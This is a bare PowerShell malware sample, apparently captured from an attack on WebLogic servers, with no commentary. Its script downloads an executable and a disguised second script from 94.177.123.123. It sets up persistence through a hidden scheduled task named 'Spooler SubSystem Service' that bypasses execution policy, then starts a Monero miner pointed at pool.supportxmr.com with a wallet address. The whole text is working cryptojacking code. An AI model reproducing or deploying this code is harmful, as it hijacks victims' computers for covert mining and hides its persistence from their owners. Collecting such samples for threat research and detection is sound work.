wls_vuln_attempt_94.177.123.123_windows

if((Get-Process spoosvc ) -eq $null){
    $xurl="http://94.177.123.123/css/6Ov4ZHOg.exe"
    $purl="http://94.177.123.123/css/bootstrap.css"
    $xop="$env:programdata\spoosvc.exe"
    $pop="$env:programdata\msupdate.ps1"
    $wc=New-Object System.Net.WebClient
    $wc.DownloadFile($xurl,$xop)
    $wc.DownloadFile($purl,$pop)
    SchTasks.exe /Create /SC MINUTE /TN "Spooler SubSystem Service" /TR "powershell.exe -ExecutionPolicy bypass -windowstyle hidden -noexit -File $env:programdata\msupdate.ps1" /MO 6 /F
    cmd.exe /c $env:programdata\spoosvc.exe -o pool.supportxmr.com -u 45KCADTpEL1eiRJmjHfVAkCzgy8wR19uuZ7mfYkXKUEjhCjpxwQYeRViAb3PTdjRPyMyFth7c6PihEwCBjWSH9uX8uksGhm -p n -k -B --max-cpu-usage=50 --donate-level=1
}